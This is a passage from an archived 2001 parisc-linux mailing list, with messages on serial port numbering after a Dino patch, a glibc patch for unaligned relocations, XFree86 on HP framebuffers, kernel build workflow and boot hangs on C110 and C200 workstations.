          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 16 Jun 2001 22:41:35 +0100
Original-Received: from edna.intra.qzxyz.com ([192.168.42.126] helo=talk21.com)
	by homer.intra.qzxyz.com with esmtp (Exim 3.12 #1 (Debian))
	id 15BNp2-0002MT-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Jun 2001 22:41:36 +0100
Original-Sender: ashcroft@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11358

Just run up a freshly pulled from cvs kernel (2.4.0-pa25) on my B160L
and an extra serial port appears.
I take it this is due to the Dino serial port patch which is good but:

It appears as ttyS0 which means the console suddenly changed to ttyS1
(making me think things were broken).
Should it not appear after the Wax serial ports so as to cause least
surprise.

Where is this magical new serial port? I looked on the back of the box
and there are still only two serial connectors like there was last week
;-)

Cheers,
Scott

Relevant bits of old and new boot messages:

Linux version 2.4.0-pa10 (root@slab) (gcc version 3.0 20010315
(prerelease)) #1 Wed May 30 20:19:52 BST 2001
...
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0,
0x0, 0x0, 0x0
2. Merlin L2 160 (9000/778/B160L) (0) at 0xfffbe000, versions 0x502,
0x0, 0x4, 0x0, 0x81
3. Merlin 160/ThunderHawk Memory (1) at 0xfffbf000, versions 0x67, 0x0,
0x9, 0x0, 0x0
4. Merlin 160 Core BA (11) at 0xffd00000, versions 0x3d, 0x0, 0x81, 0x0,
0x0,  additional addresses: 0xffd0c000 0xffc00000
5. Merlin 160 Core RS-232 (10) at 0xffd05000, versions 0x3d, 0x0, 0x8c,
0x0, 0x0
6. Merlin 160 Core SCSI (10) at 0xffd06000, versions 0x3d, 0x0, 0x82,
0x0, 0x0
7. Merlin 160 Core Lan (802.3) (10) at 0xffd07000, versions 0x3d, 0x0,
0x8a, 0x0, 0x0
8. Merlin 160 Core Centronics (10) at 0xffd02000, versions 0x3d, 0x0,
0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000
9. Merlin 160 Core Audio (10) at 0xffd04000, versions 0x3d, 0x4, 0x7b,
0x0, 0x0
10. Merlin 160 Core PC Keyboard (10) at 0xffd08000, versions 0x3d, 0x0,
0x84, 0x0, 0x0
11. Merlin 160 Core PC Keyboard (10) at 0xffd08100, versions 0x3d, 0x0,
0x84, 0x0, 0x0
12. Merlin 160 Wax BA (11) at 0xffe00000, versions 0x41, 0x0, 0x8e, 0x0,
0x0
13. Merlin 160 Wax EISA BA (11) at 0xfc000000, versions 0x41, 0x0, 0x90,
0x0, 0x0,  additional addresses: 0xf0184000
14. Merlin 160 Wax HIL (10) at 0xffe01000, versions 0x41, 0x0, 0x73,
0x0, 0x0
15. Merlin 160 Wax RS-232 (10) at 0xffe02000, versions 0x41, 0x0, 0x8c,
0x0, 0x0
16. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0,
0x85, 0x0, 0x0,  additional addresses: 0xf0011000
17. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x1, 0xa, 0x0,
0x0
18. Merlin+ 132 Dino PS2 Keyboard (10) at 0xfff81000, versions 0x22,
0x0, 0x96, 0x0, 0x0
19. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, versions 0x22, 0x0,
0x8c, 0x0, 0x0
...
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq = 121) is a 16550A
busdevice_alloc_irq(0x102d0634): No known LASI/ASP/WAX owns device at
0xfff83000 !

Linux version 2.4.0-pa25 (root@nelson) (gcc version 3.0 20010426 (Debian
prerelease)) #2 Sat Jun 16 21:06:07 BST 2001
...
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0,
0x0, 0x0, 0x0
2. Merlin L2 160 (9000/778/B160L) (0) at 0xfffbe000, versions 0x502,
0x0, 0x4, 0x0, 0x81
3. Merlin 160/ThunderHawk Memory (1) at 0xfffbf000, versions 0x67, 0x0,
0x9, 0x0, 0x0
4. Merlin 160 Core BA (11) at 0xffd00000, versions 0x3d, 0x0, 0x81, 0x0,
0x0,  additional addresses: 0xffd0c000 0xffc00000 
5. Merlin 160 Core RS-232 (10) at 0xffd05000, versions 0x3d, 0x0, 0x8c,
0x0, 0x0
6. Merlin 160 Core SCSI (10) at 0xffd06000, versions 0x3d, 0x0, 0x82,
0x0, 0x0
7. Merlin 160 Core Lan (802.3) (10) at 0xffd07000, versions 0x3d, 0x0,
0x8a, 0x0, 0x0
8. Merlin 160 Core Centronics (10) at 0xffd02000, versions 0x3d, 0x0,
0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
9. Merlin 160 Core Audio (10) at 0xffd04000, versions 0x3d, 0x4, 0x7b,
0x0, 0x0
10. Merlin 160 Core PC Keyboard (10) at 0xffd08000, versions 0x3d, 0x0,
0x84, 0x0, 0x0
11. Merlin 160 Core PC Keyboard (10) at 0xffd08100, versions 0x3d, 0x0,
0x84, 0x0, 0x0
12. Merlin 160 Wax BA (11) at 0xffe00000, versions 0x41, 0x0, 0x8e, 0x0,
0x0
13. Merlin 160 Wax EISA BA (11) at 0xfc000000, versions 0x41, 0x0, 0x90,
0x0, 0x0,  additional addresses: 0xf0184000 
14. Merlin 160 Wax HIL (10) at 0xffe01000, versions 0x41, 0x0, 0x73,
0x0, 0x0
15. Merlin 160 Wax RS-232 (10) at 0xffe02000, versions 0x41, 0x0, 0x8c,
0x0, 0x0
16. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0,
0x85, 0x0, 0x0,  additional addresses: 0xf0011000 
17. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x1, 0xa, 0x0,
0x0
18. Merlin+ 132 Dino PS2 Keyboard (10) at 0xfff81000, versions 0x22,
0x0, 0x96, 0x0, 0x0
19. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, versions 0x22, 0x0,
0x8c, 0x0, 0x0
...
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xfff83800 (irq = 138) is a 16550A
ttyS01 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS02 at iomem 0xffe02800 (irq = 121) is a 16550A




From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Extra serial port on B160L
Date: Sun, 17 Jun 2001 01:41:18 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010617014118.B1263@linuxcare.com>
References: <3B2BD290.E36026D8@talk21.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620219 20862 80.91.229.3 (22 Nov 2014 01:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Ashcroft <scott.ashcroft@talk21.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 16 18:39:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id D45194840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Jun 2001 18:39:49 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9FA1CB00C; Sun, 17 Jun 2001 01:41:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B2BD290.E36026D8@talk21.com>; from scott.ashcroft@talk21.com on Sat, Jun 16, 2001 at 10:41:36PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11359

On Sat, Jun 16, 2001 at 10:41:36PM +0100, Scott Ashcroft wrote:
> Just run up a freshly pulled from cvs kernel (2.4.0-pa25) on my B160L
> and an extra serial port appears.
> I take it this is due to the Dino serial port patch which is good but:
> 
> It appears as ttyS0 which means the console suddenly changed to ttyS1
> (making me think things were broken).

Known problem, it will be fixed on Monday.  Caused me much
confusion too.

Thanks for the report,

Richard





From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: new g++/exceptions problem
Followup-To: gmane.linux.ports.hppa
Date: Sun, 17 Jun 2001 15:13:36 +0930
Lines: 43
Approved: news@gmane.org
Message-ID: <20010617151336.A16044@bubble.local>
References: <E15B4IO-000111-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620220 20865 80.91.229.3 (22 Nov 2014 01:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 16 23:40:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailin7.bigpond.com (juicer38.bigpond.com [139.134.6.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69B69482D
	for <parisc-linux@parisc-linux.org>; Sat, 16 Jun 2001 23:40:21 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.75]) by
          mailin7.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GF27ZK00.3VP for <parisc-linux@parisc-linux.org>; Sun, 17 Jun
          2001 15:45:20 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam03.mailsvc.email.bigpond.com(MailRouter V2.9d 8323/43998); 17 Jun 2001 15:40:18
Original-Received: (qmail 28219 invoked by uid 179); 17 Jun 2001 05:43:36 -0000
Mail-Followup-To: Paul Bame <bame@fc.hp.com>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <E15B4IO-000111-00@noam.fc.hp.com>; from bame@fc.hp.com on Fri, Jun 15, 2001 at 06:50:36PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11360

On Fri, Jun 15, 2001 at 06:50:36PM -0600, Paul Bame wrote:
> 
> so it's inside the exception-handler frame.  My wild guess is the
> dynamic linker is trying to handle a new type of symbol which refers
> to the new exception stuff which is for some reason not 4-byte
> aligned

Yes, the new exception code puts R_PARISC_DIR32 relocs at unaligned
addresses.  "objdump -r libstdc++.so" reveals

Relocation section '.rela.eh_frame' at offset 0x37024 contains 1611 entries:
  Offset    Info  Type            Symbol's Value  Symbol's Name          Addend
  000c167e  4da01 R_PARISC_DIR32        00056914  __gxx_personality_v0      + 0
  000c1690  00d01 R_PARISC_DIR32        0003fe40  .text                     + 5114
  000c1699  01301 R_PARISC_DIR32        000cede4  .gcc_except_table         + 0
etc.

Seems like a change in the dynamic linker is needed to handle this
situation.  Something like the following should do it for you.

--- sysdeps/hppa/dl-machine.h~	Sun Jun 17 15:03:59 2001
+++ sysdeps/hppa/dl-machine.h	Sun Jun 17 15:05:11 2001
@@ -536,7 +536,16 @@
       if (map == &_dl_rtld_map)
 	return;
 #endif
-      /* Otherwise, nothing more to do here. */
+      /* .eh_frame can have unaligned relocs.  */
+      if (reloc_addr & 3)
+	{
+	  char *rel_addr = (char *) reloc_addr;
+	  rel_addr[0] = value >> 24;
+	  rel_addr[1] = value >> 16;
+	  rel_addr[2] = value >> 8;
+	  rel_addr[3] = value >> 0;
+	  return;
+	}
       break;
 
     case R_PARISC_PLABEL32:




From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86, sti bmode/wmode merge
Date: Sun, 17 Jun 2001 15:58:07 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20010617155807.A6530@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620220 20870 80.91.229.3 (22 Nov 2014 01:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 08:01:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9051AAE.dip.t-dialin.net [217.5.26.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37316482D
	for <parisc-linux@parisc-linux.org>; Sun, 17 Jun 2001 08:01:00 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id PAA06683
	for parisc-linux@parisc-linux.org; Sun, 17 Jun 2001 15:58:07 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11361

Hi,

I've greped the mailinglist archive, and didn't find anything, that someone
tried the Xfree86 server on parisc. So I did it and to my great surprise
it worked out of the box with stifb (ok, I had to tweak XF86Config a little
bit). Right now the gecko (712/80) to my right display a more of less
ugly Xserver with two Xterms and vtwm as window manager. That's pretty
cool.

I've finished merging byte and word mode sti rom handling and will check that 
in after the checkout is finished (pretty slow connection to pehc at the 
moment). STIfb still works in word mode (the gecko mentioned above runs 
the merged code) and I had a working fbcon on the C200 with a HCRX24 
yesterday. But there are still problems to solve with the HCRX (colors 
were wrong, right now it doesn't work anymore).

Question: I've found the cfb stuff for HP framebuffers in Xfree, but it
doesn't cover the Visualize-EG hardware. Any chance to get docs/code for 
that beast ? I'd like to show a B180 with X on LinuxTag in Stuttgart :-)

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Sun, 17 Jun 2001 23:03:19 +0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20010617230316.A3622@neep.com.au>
References: <E15AEUU-0004qi-00@noam.fc.hp.com> <200106132122.PAA01189@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620220 20872 80.91.229.3 (22 Nov 2014 01:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 09:03:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (i173-021.nv.iinet.net.au [203.59.173.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 733C4482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 09:03:28 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id XAA03687
	for parisc-linux@lists.parisc-linux.org; Sun, 17 Jun 2001 23:03:23 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200106132122.PAA01189@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Jun 13, 2001 at 03:22:10PM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11362

Grant Grundler said:
> Paul Bame wrote:
> > When self hosted, there's usually no need to run palo after every
> > kernel build since palo boots out of the file system by file name.
> > So I propose that the common self-hosted use model be to use simple
> > 'make' in the kernel tree [and make modules or whatever].  The
> > resulting 'vmlinux' file can then be copied to the desired location.
> 
> On x86, "make install" will do all the right things to install the
> freshly built kernel but doesn't do a damn thing for kernel modules.
> Need to run "make modules" and "make modules_install" to really make
> sure eveything is in sync.

As a Debian user I discovered the wonders of Manoj's kernel-package
suite to build Debian packages of kernel source/headers/image/docs from
a single kernel tree.  Certainly much easier to install the resulting
kernel-image-*.deb package than fuss about with the various Makefile
targets.  I suppose it would be unfriendly though to ask that this
become the standard means of building and installing hppa-linux kernels?

=)

I see nothing wrong with Paul's suggestion but hope that kernel-package
is educated about the changes for the hppa architecture.  I've grown
fond of it (or too lazy to go back?) ...

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@Alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO/kernel-build change proposal
Date: Sun, 17 Jun 2001 08:14:24 -0800 (AKDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106170807040.9599-100000@devnull.alaskatech.org>
References: <20010617230316.A3622@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620221 20875 80.91.229.3 (22 Nov 2014 01:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:01 +0000 (UTC)
To: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 10:14:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id A803E482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 10:14:25 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GF313Y01.Q51 for
          <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 08:14:22 -0800 
Original-Received: from devnull.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GF313Z01.X08 for <parisc-linux@lists.parisc-linux.org>; Sun, 17
          Jun 2001 08:14:23 -0800 
In-Reply-To: <20010617230316.A3622@neep.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:11363

> > Paul Bame wrote:
> > > When self hosted, there's usually no need to run palo after every
> > > kernel build since palo boots out of the file system by file name.
> > > So I propose that the common self-hosted use model be to use simple
> > > 'make' in the kernel tree [and make modules or whatever].  The
> > > resulting 'vmlinux' file can then be copied to the desired location.
> >
> Grant Grundler said:
> > On x86, "make install" will do all the right things to install the
> > freshly built kernel but doesn't do a damn thing for kernel modules.
> > Need to run "make modules" and "make modules_install" to really make
> > sure eveything is in sync.
>
> Andrew Shugg <andrew@neep.com.au>
> As a Debian user I discovered the wonders of Manoj's kernel-package
> suite to build Debian packages of kernel source/headers/image/docs from
> a single kernel tree.  Certainly much easier to install the resulting
> kernel-image-*.deb package than fuss about with the various Makefile
> targets.  I suppose it would be unfriendly though to ask that this
> become the standard means of building and installing hppa-linux kernels?

(ObDisclaimer: I'm closer to 'user' than to 'developer', much closer...)

Working with this HP715 hasn't been too bad - very similar to early Debian
on the Intel boxes. Lots of support via mailing lists, weird docs, strange
ways of making things work... My only complaint on building a kernel was
the docs at ESIEE. Lots of 'download and configure this, then this, now
this...", which is fine, but they end with "Congrats - your new kernel is
palo/lifimage" and no comment on where it goes...

I don't suppose someone has an updated how-to for actually *using* your
new kernel, do they? Replacing /boot/vmlinux-2.4.0 with the new one
results in an immediate hang on reboot...





From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting up C110
Date: Sun, 17 Jun 2001 11:44:34 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <3B2CDE72.4010006@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620221 20878 80.91.229.3 (22 Nov 2014 01:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 10:33:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d247.focal4.interaccess.com [207.208.139.247])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1229482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 10:33:08 -0600 (MDT)
Original-Received: from interaccess.com (IDENT:bheadley@cactus.bheadley.org [192.168.0.6])
	by cactus.bheadley.org (8.11.0/8.11.0) with ESMTP id f5HGiYR02081
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 11:44:38 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux 2.4.5-ac15 i686; en-US; rv:0.9.1) Gecko/20010608
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:11364

    Wasn't getting too far using the STI console, so I switched to the 
serial console at the boot monitor. Sadly, no text appears on my 
laptop-based "terminal", connected with null-modem cable. Also, the 
unit's doesn't appear to respond to the built-in keyboard, either.

So, 1) how do I reset the boot PROM to use the graphics card/monitor again?
2) Any help on getting 0.9 or any other kernel booting would be a great 
help...

(It has booted, to the point of displaying kernel sign-on messages, then 
complaining about not being able to allocate a console, so I know things 
"sort-of" work)

-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com






From - Thu Nov 08 21:18:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Christie" <info@wias.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting up C200 Visualize same output as C110
Date: Mon, 18 Jun 2001 05:18:53 +1000
Organization: Wholesale Internet Access Services Australasia
Lines: 140
Approved: news@gmane.org
Message-ID: <004e01c0f762$58ac0ca0$c901a8c0@wias.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_004B_01C0F7B6.2A2EE9C0"
X-Trace: ger.gmane.org 1416620221 20907 80.91.229.3 (22 Nov 2014 01:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 17 13:23:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (unknown [203.47.56.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EFA8482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Jun 2001 13:23:40 -0600 (MDT)
Original-Received: from DATA (scorpion.wias.net.au [203.47.56.235])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id FAA04072
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 05:25:09 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11365

This is a multi-part message in MIME format.

------=_NextPart_000_004B_01C0F7B6.2A2EE9C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Almost there! :)

C200 Visualize appears to halt with the following output..........

NET4: Unix Domain sockets 1.0/SMP for Linux Net4.0.
VFS Mounted root (ext2 file system).
Warning: unable to open initial console.
loop: enabling 8 loop devices

The device appears to halt at this point.

I am using IPL to configure the Console setting to remove the console =
setting all together as I get stack dumps if I keep the statement:

Console=3DttyXXX

I remove this statement and the boot process happens without dumping =
however the system is hanging for some reason.
Maybe Grant could shed some light on this except Grant requires:

"Need console output and PIM "Tombstone".
PIM "tombstone" can be aquired by interrupting autoboot
at the PDC prompt and typing "ser pim".

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253"

Greater problems exist amongst the k-250 and k-260 cluster , however
I have no print solutions currently in the network for posting the =
problems to the list.

Hopefully Bryan can help by post his results to the list or at least for =
Grant to have a look at it?


Make a WIASA decision today !

Wholesale Internet Access Services Australasia P/L ACN 096 011 511 =
BN17400545
148 Ipswich Road - Woolloongabba - Brisbane - 4102
GPO Box 949 Brisbane 4001
Tel: 07 3217 4103
Fax: 07 3217 3541 =20
Email: info@wias.net.au=20
Mob: 0417 375 196

Visit our web site at http://www.wias.net.au

------=_NextPart_000_004B_01C0F7B6.2A2EE9C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Almost there! :)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>C200 Visualize appears to halt with the following=20
output.</FONT><FONT size=3D2>.........</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>NET4: Unix Domain sockets 1.0/SMP for Linux=20
Net4.0.</FONT></DIV>
<DIV><FONT size=3D2>VFS Mounted root (ext2 file system).</FONT></DIV>
<DIV><FONT size=3D2>Warning: unable to open initial =
console.</FONT></DIV>
<DIV><FONT size=3D2>loop: enabling 8 loop devices</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>The device appears to halt at this =
point.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>I am using IPL to configure the Console setting to =
remove the=20
console setting all together as I get stack dumps if I keep the=20
statement:</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Console=3DttyXXX</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>I remove this statement and the boot process happens =
without=20
dumping however the system is hanging for some reason.</FONT></DIV>
<DIV><FONT size=3D2>Maybe Grant could shed some light on this except =
Grant=20
requires:</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>"Need console output and PIM "Tombstone".<BR>PIM =
"tombstone"=20
can be aquired by interrupting autoboot<BR>at the PDC prompt and typing =
"ser=20
pim".<BR><BR>grant<BR><BR>Grant Grundler<BR>parisc-linux {PCI|IOMMU|SMP} =

hacker<BR>+1.408.447.7253"</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Greater problems exist amongst the k-250 and k-260 =
cluster ,=20
however</FONT></DIV>
<DIV><FONT size=3D2>I have no print solutions currently in the network =
for posting=20
the problems to the list.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Hopefully Bryan can help by post his results to the =
list or at=20
least for Grant to have a look at it?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Make a WIASA decision today !</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Wholesale Internet Access Services Australasia P/L =
ACN 096 011=20
511 BN17400545<BR>148 Ipswich Road - Woolloongabba - Brisbane - =
4102<BR>GPO Box=20
949 Brisbane 4001<BR>Tel: 07 3217 4103<BR>Fax: 07 3217 3541&nbsp; =
<BR>Email: <A=20
href=3D"mailto:info@wias.net.au">info@wias.net.au</A> <BR>Mob: 0417 375=20
